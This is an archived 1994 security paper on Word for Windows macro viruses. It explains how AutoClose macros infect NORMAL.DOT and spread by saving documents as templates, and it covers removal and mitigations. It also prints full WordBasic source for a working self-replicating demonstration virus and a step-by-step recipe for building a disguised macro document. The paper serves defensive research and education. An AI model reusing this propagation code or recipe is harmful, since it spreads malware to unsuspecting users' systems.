HPAVC/HPAVC CD-ROM.iso/MVUPDAT3.ZIP/DMVWORD.ZIP/DMVWORD.TXT

Text File | 1995-11-26 | 23KB | 484 lines

            ╔═══════════════════════════════════════════════════╗
            ║             Document Macro Viruses                ║
            ║  Yes, you can spread a virus with a data file...  ║
            ║                 Joel McNamara                     ║
            ╚═══════════════════════════════════════════════════╝
 Overview

 In early December of 1994, users of America On-Line and the Internet
 were nervously opening their electronic mail.  Rumors were flying about
 e-mail with the title of Goodtimes.  If you opened the mail, your
 computer was instantly infected with a virus.  Most experts scoffed at
 the possibility.  After all, it takes an executable binary to be able to
 pass on a virus.  DOS users occassionally have been plagued with ANSI
 bombs (a text file that when viewed with the TYPE command remaps your
 keyboard), but other than that, simply looking at data has never
 resulted in anything more harmful than eye strain.  After investigation,
 the GoodTimes e-mail virus was deemed to be a hoax.  But is there more
 to the story?

 In truth, there is some risk of an e-mail propogated virus in a mail
 system that uses embedded objects (MIME or OLE, for example).  An
 embedded application that contains a virus or trojan horse could be sent
 in an e-mail message, and when executed, infect or damage the system.
 E-mail software that automatically runs embedded objects in a receieved
 message (such as plays a sound file, displays an image, or runs an
 application) is at particular risk from anonymously sent virus mail.

 While some security and virus experts have considered the potential for
 document-based viruses, discussions have been mostly theoretical in
 nature.  There is agreement though, that viruses passed on by documents
 could pose a significant threat to computer users.

 This paper moves beyond theory, by presenting preliminary research on an
 actual document-based virus created in Microsoft Word for Windows.  The
 paper discusses the concept of a document macro virus, potential
 threats, how this type of a virus functions, and preventative measures
 for dealing with it.

 Document Macro Viruses

 While virus creators have concentrated on code that works at the
 operating system level, they have for the time being, neglected
 applications.  Most business applications, such as spreadsheets, word
 processors, and data-bases, come with fairly powerful macro languages.
 Many applications have the ability to auto-execute macros.  This
 combination provides a serious threat to computer users who have been
 taught that data files cannot harm your system.

 I use the term document macro virus (or DMV for short) to describe this
 type of potentially malicious code.  Some characteristics of a DMV
 include:

 A DMV is written in the macro language of an application.  It exploits
 the application's ability to automatically execute the macro on some
 event, such as opening or closing a document.  Once this event occurs in
 a document that hosts the DMV, the virus spreads (or some form of trojan
 horse code is executed).  Unlike a conventional virus or trojan horse
 where the malicious code is in the executable, a DMV uses its creator
 application as the agent to execute the code.

 DMVs are extremely simple to create.  Most macro languages are a
 superset of BASIC, which is much easier to program in than assembly
 langauge favored by most virus writers.  As many macro languages support
 the ability to call external routines (such as functions in .DLLs), the
 macro language can easily be extended to create sophisticated viruses.

 On a simplified level, DMVs tend to be application-specific in nature.
 This means the virus only infects documents of the same data type, for
 example, all Microsoft Word for Windows documents.  Most macro languages
 are not cross-application compatible (for example, a Word DMV document
 that was imported into Ami Pro, would likely not pass the virus on).  An
 exception may be Microsoft's common macro language, Visual Basic for
 Applications.  It is likely an advanced DMV could be written with VBA
 that could move from one application to another.

 Since a DMV is application specific, it is theoretically possible a
 document could pass a virus from one platform to another (i.e.
 Intel-based system running Windows, to Motorola/Power PC-based Macintosh
 system).  This makes a DMV unique from normal viruses, which tend to be
 platform specific due to the nature of their coding.

 Current virus checking software does not support identifying DMVs.
 DMVs do not exhibit standard virus characteristics such as altered MBRs,
 or specific data in memory or executable files.

 Obviously, there are numerous security and privacy risks to the user
 who unknowingly uses a document that hosts a DMV.  These are limited
 only by the imagination of the person who creates the DMV.  A few
 malacious actions that are relatively easy to implement include:

 Infecting your computer with a virus (obviously) - Deleting files on
 your hard disk - Renaming existing files - Copying personal files from
 your hard disk to a network location where they could be retrieved later
 by someone else - Sending sensitive files from your hard disk to an
 e-mail address via MAPI (Windows)

 It's important to note that these risks are not exclusive to Word for
 Windows.  Any application that supports automatic macros is a potential
 threat.

 If you're using Word for Windows 6.0 to read this paper, in its original
 formatted form, closing the document will execute a sample,
 non-destructive version of a DMV (see below for details on how it
 actually works).  Dialog boxes show you each step as it is executed.  If
 you're cautious, which you should be, choose the Macro command from the
 Tools menu.  Select AutoClose and Edit to examine the commented macro
 (source code is included at the end of this paper).  If you're very
 cautious, you can delete the macro before closing this document.

 How the Word DMV Works

 Microsoft Word for Windows uses a macro language called WordBasic.  It
 also supports a series of automatic macros.  If a macro has a reserved
 name, it automatically executes on a specific event.  For example:

         Macro name              Runs

         AutoExec                When you start Word
         AutoNew                 When you create a new document
         AutoOpen                When you open a document
         AutoClose               When you close a document
         AutoExit                When you quit Word

 The sample Word DMV contained in this document is named AutoClose, so
 each time the document is closed, the macro is executed.  This action
 takes place regardless of whether the file is opened from a disk or
 embedded as an object in e-mail.

 Word for Windows stores macros, as well as styles, in document templates
 (.DOT files).  Global macros are stored in the NORMAL.DOT file.

 The first action the Word DMV takes is to look in NORMAL.DOT to see if
 an AutoClose macro already is present.  If it isn't, it copies itself
 into NORMAL.DOT.  (The sample does not perform an execute-only copy.
 Such a copy prevents the user from editing the macro to examine it.)  If
 an AutoClose macro is present, it doesn't infect the file.  (It is
 possible, although unlikely, that a legitimate AutoClose macro may be in
 NORMAL.DOT.  The macro doesn't check the check to see if it is the DMV.)

 Once NORMAL.DOT is infected, each time any document is closed while in
 Word, the DMV macro executes.

 The method described above produces a virus that is limited to only
 infecting users who open and close the DMV.DOC file.  (This raises
 interesting possibilities for targeting a specific segment of a user
 population for some malacious action.  For example, a DMV entitled
 WAREZ.DOC could be anonymously posted to a pirate software bulletin
 board.  The document would contain legitimate information to encourage
 redistribution, but host a DMV that randomly deleted hard drive files.)

 As stated earlier, Word only stores macros in document templates.  You
 cannot add a macro to a normal Word document (.DOC) file.  This appears
 to eliminate the ability to be able to spread a DMV virus from the
 source to other documents (which would dramatically increase the spread
 of the virus).

 However, there is a way around this limitation.  A Word .DOT template is
 very similar in format to a normal .DOC file.  The two have the same
 appearance and functionality when opened in Word.  In fact, this
 document was originally a .DOT file (so the sample macro could be
 inserted), but renamed with a .DOC extension.

 To infect other documents, the DMV macro in NORMAL.DOT checks the
 current document to see if it has already has been infected with the
 macro.  If it hasn't, the macro saves the file as a document template.
 This generates a saving file display at the bottom of the screen
 (which isn't suspicious, since many users use auto-save). Word now
 treats the current document as a template, and the DMV macro in
 NORMAL.DOT can copy itself into the current document.

 File extensions are very deceptive.  Although the document still has a
 .DOC extension, it is now a template.  When Word opens the document, it
 doesn't care what extension the file has.  It reads the file and
 determines if it is in a format it process.  The only clue that a normal
 document has been saved as a template is when you choose the Save As
 command in the File menu.  Word attempts to force you to save the
 template in a default directory that contains other Word templates.  The
 other clue is Word prompts you if you want to save changes when you
 close, even if you haven't editted the document.

 The end of the macro contains code that isn't related to the actual
 spreading of the virus.  The Word DMV just displays a dialog box that
 indicates this is a point where code would be executed.  Obviously, it
 is up to the imagination of the creator as to what code is placed here.
 If the virus portion of the macro was removed, the DMV becomes a trojan
 horse.

 The Word DMV is very simplistic.  It uses standard macro commands to
 propogate the virus.  However, since Word Basic supports the ability to
 call API routines in .DLLs, a much more sophisticated virus that could
 infect the operating system or other applications could be created.

 As multiple-platform software usually shares common code, it seems
 reasonable that a DMV could be passed on from one platform to another.
 For example, if a Word for Windows document is infected, transferred to
 a Macintosh disk, then loaded into Macintosh Word, the DMV would likely
 infect the Mac version of Word.  I haven't tested this yet, but it seems
 to be a probable occurance.

 As stated before, this is not a problem exclusive to Word for Windows
 (preliminary research seems to indicate that Excel has even more
 vulnerabilities) or Microsoft-specific products.  While a complete
 survey of business software has not been completed, automatic macros
 seem to be common in many applications produced by a variety of vendors.

 Word DMV Cookbook

 Someone with a suspicious nature might think this document has been
 altered in some way (beyond just using macros) to produce the Word DMV.
 To disprove this, run Word for Windows 6.0 and perform the following
 steps.

 1. Create a macro named AutoClose (it's up to you what you want the
 macro to do). 2. Save it to the NORMAL.DOT template (the default). 3. Go
 to File Manager and copy the NORMAL.DOT file to TEST.DOT. 4. Choose
 Macro from the Tools menu. 5. Delete the AutoClose macro from
 NORMAL.DOT. 6. Open TEST.DOT (it will be blank). 7. Enter some text so
 it appears to be a normal document and save. 8. Go to the File Manager
 and rename TEST.DOT to TEST.DOC. 9. Open TEST.DOC with Word.  When the
 document is closed, the macro will execute.

 Removing the Word DMV

 Removing the Word DMV is relatively easy.  First run Word, then:

 - If an infected file is open, choose the Macro command from the Tools
 menu.  Delete the AutoClose macro from the open document and NORMAL.DOT.

 - If no documents are open, choose the Macro command in the File menu.
 Delete the AutoClose macro from NORMAL.DOT.

 Dealing with DMVs

 The only current protection against DMVs is manually examining any
 document with the creator application to see if suspect macros are
 present.  This is obviously extremely time and labor intensive.

 The virus research community should make an effort to identify all
 applications with automatic macro capabilities.  This should be a
 relatively easy task.  The functionality and characteristics should be
 studied to assess threat potential and identify means of detection.  For
 example, Word DMVs should be easy to identify, since the macro code
 appears to be saved as ASCII text.  A simple string search could be
 performed on .DOC and .DOT files to look for AutoExec, AutoOpen,
 AutoClose, etc.  Existing virus tools should be modified to identify
 potential DMV host files.

 Software manufacturers need to modify future versions of their
 applications to limit the potential damage an automatic macro could
 cause.  It would be very simple to code an option where a dialog box
 prompts a user whether they want to execute an automatic macro.  By
 default, this option would be turned on.  The user would have the choice
 of turning the option off if they wanted automatic macros executed with
 no confirmation.

 Users need to be aware that DMVs are real and can pose a significant
 threat to their data security.  Automatic macros are virtually unknown
 to the general user population.  Steps should be taken to educate people
 without causing panic.

 Protecting Yourself from Word DMVs

 Any automatic macro is easily detected by choosing the Macro command
 from Word's Tool menu.  A suspicious macro can be examined or deleted
 (hopefully, before it executes).

 Microsoft provides two methods of disabling automatic macros in Word.

 To quote from Document Q96565 in Microsoft's product support Knowledge
 Base:

         SUMMARY

 To prevent a Microsoft Word for Windows auto macro from running, hold
 down the SHIFT key when you perform the action that triggers the macro.
 AutoExec, AutoNew, AutoOpen, AutoClose, and AutoExit are the auto macros
 in Word for Windows.

         MORE INFORMATION

 When opening a Word for Windows document that is associated with a
 template that contains an AutoOpen macro, hold down the SHIFT key until
 the document is completely opened. Depressing the SHIFT key prevents the
 action that triggers the macro.

 When opening a new Word for Windows document based on a template that
 contains an AutoNew macro, hold down the SHIFT key until the new
 document is opened.

 To prevent a Word for Windows AutoExec macro from executing, do one of
 the following:

  - At the command prompt, type "win winword /m" (without the quotations
 marks) and press ENTER.

  -or-

  - Select the Word for Windows program icon in Program Manager. From the
 File menu, choose Properties. Add the /m switch to the current command
 line parameter (for example, "C:\WINWORD\WINWORD.EXE /m").

  -or-

  - Press and hold down the SHIFT key while double-clicking the Word for
 Windows program icon.

 In Word for Windows version 6.0, you can use the following command line
 to disable all auto macros, including AutoExec:

    C:\WINWORD\WINWORD.EXE /mDisableAutoMacros

 A more recent document Q117399, dated November 15, 1994 describes
 disabling automatic macros in Word 6.0.

         SUMMARY

 The "Microsoft Word Developer's Kit" incorrectly states on page 339 that
 You can use the following command line to disable all auto macros,
 including AutoExec:

         winword.exe /mDisableAutoMacros

 When executed from the command line, the DisableAutoMacros instruction
 disables ONLY the AutoExec macro but does not disable the AutoNew,
 AutoOpen, AutoClose, or AutoExit macros.

         WORKAROUND

 To disable all auto macros for the current session of Word, the
 DisableAutoMacros command must be issued from inside a macro. Use the
 following macro to accomplish this:

      Sub Main

      DisableAutoMacros

      End Sub

 If you name this macro "DisableAuto" (without the quotation marks), you
 can use the command line "WINWORD.EXE /mDisableAuto" (without the
 quotation marks) to disable all auto macros, including the AutoExec
 macro, for the entire Word session.

 To modify the command line, in Program Manager, select the Word for
 Windows icon. From the File menu, choose Properties. Make your changes
 to the command line and choose OK.

 The extracts from the Knowledge Base articles presented above are
 copyrighted by Microsoft.

 It's interesting to note that the first method applies to all versions
 of Microsoft Word for Windows since version 1.0.  Because of the sheer
 simplicity in creating a DMV, I find it surprising none have formally
 been documented.  There is the possibility that isolated infections
 could have occurred within small pockets of users, for example in a
 corporation, and since conventional virus scanners never reported
 viruses, went undetected.

 As an aside, unfortunately the Windows File Manager doesn't support
 being able to associate a document type (such as .DOC) with an
 application and command-line switch.  Unless Word is already running,
 this means there's no way to load Word with the disabled macro switch
 when a .DOC file is double-clicked in the File Manager.  It would
 theoretcially be possible to write a shell application that launches
 Word with auto macros disabled, and associate .DOC files with the shell.

 Conclusion

 DMVs present a significant threat to computer users that have been
 taught only executable applications can propogate viruses or unleash
 damaging trojan horses.

 Because of the simplicity in creating DMVs, it is likely only a matter
 of time before the method is discovered and disseminated among the more
 malicious virus writers.  (I find it amazing I've been able to write so
 much about what is an extremely trivial piece of code.)

 A concerted effort needs to be made to educate users of this threat.
 While this is happening, the virus research community should examine all
 applications that feature automatic macros so their characteristics can
 be understood.  Based on this information, existing virus detection
 tools should be modified to scan for automatic macros in data files.
 Finally, software manufacturers need to add functionality to future
 versions of their applications to limit potential damage DMVs can cause.


 Word DMV Code

 The following is the macro code used to create the Word DMV.  If you
 received this file as a Word formatted document, you can also use the
 Macro command in Word's Tools menu to examine the source.

 REM This demonstrates an application-specific document virus
 REM generated by an automatic macro in Microsoft Word for
 REM Windows 6.0. Code is executed each time a document is closed.
 REM This macro is only a demonstration, and does not perform any
 REM destructive actions.

 REM The purpose of this code is to reveal a significant security
 REM risk in software that supports macro languages with
 REM auto-loading capabilities.  Current virus detection tools are
 REM not presently capable of detecting this type of virus, and
 REM most users are blissfully unaware that threats can come from
 REM documents.

 REM Paste this code in the macro Window of a Word document
 REM template. Save the macro as AutoClose.  Enter some random
 REM text in the main word processing window and save the document.
 REM Now copy the file, naming the new file VIRUS.DOC.  Open
 REM VIRUS.DOC in Word.  It will appear as a normal document, but
 REM when you close the document, the virus will execute.

 REM Message boxes display progress as the code is executed.
 REM Code is commented.

 REM Joel McNamara, December 17, 1994
 REM -----------------------------------------------

 Sub MAIN
 title$ ="Document Macro Virus"
 MsgBox "Counting global macros.", title$, 16
 REM check how many macros are globally available.
 total = CountMacros(0)
 present = 0

 REM Check and see if the AutoClose macro is installed in global.
 If total > 0 Then
 For cycle = 1 To total
 If MacroName$(cycle, 0) = "AutoClose" Then
 MsgBox "AutoClose macro vir. is already installed in NORMAL.DOT.", title$, 16
         present = 1
 End If
 End If

 REM Get the current document name.
 a$ = WindowName$() + ":AutoClose"

 REM If AutoClose isn't present, then copy it to NORMAL.DOT.
 If present <> 1 Then
 MacroCopy a$, "Global:AutoClose"
 MsgBox "Infected NORMAL.DOT with copy of AutoClose macro virus.", title$, 16

 REM The following code infects a document each time it is closed.
 REM This effectively spreads the macro virus each time an infected
 REM document is opened by Word.

 Else
  REM If AutoClose is already global and the file hasn't been
  REM infected yet, save the current file as a
  REM template instead of a document so the macro can be
  REM attached.

  REM See if AutoClose is already in the document.  Don't need
  REM to check names because the virus would be the only code
  REM putting a macro in a document.

  present = 0
  If CountMacros(1) <> 0 Then
  MsgBox "AutoClose macro virus already present in this document.", title$, 16
  present = 1
  End If

  REM Save the document as a template.

  If present = 0 Then
  FileSaveAs .Format = 1
  MsgBox "Saved current document as template.", title$, 16

  REM Then copy the AutoClose macro from NORMAL.DOT.

  MacroCopy "Global:AutoClose", a$
 MsgBox "Infected current doc. with copy of AutoClose macro vir.", title$, 16
 End If
 End If

 REM After the document or NORMAL.DOT has been infected, then
 REM execute the following macro code (this could be destructive,
 REM such as a Kill command, invasive, such as a Connect and
 REM CopyFile command, or harmless, with no malacious intent).

 MsgBox "Macro vir. has been spread. Now execute some other code.", title$, 16
 End Sub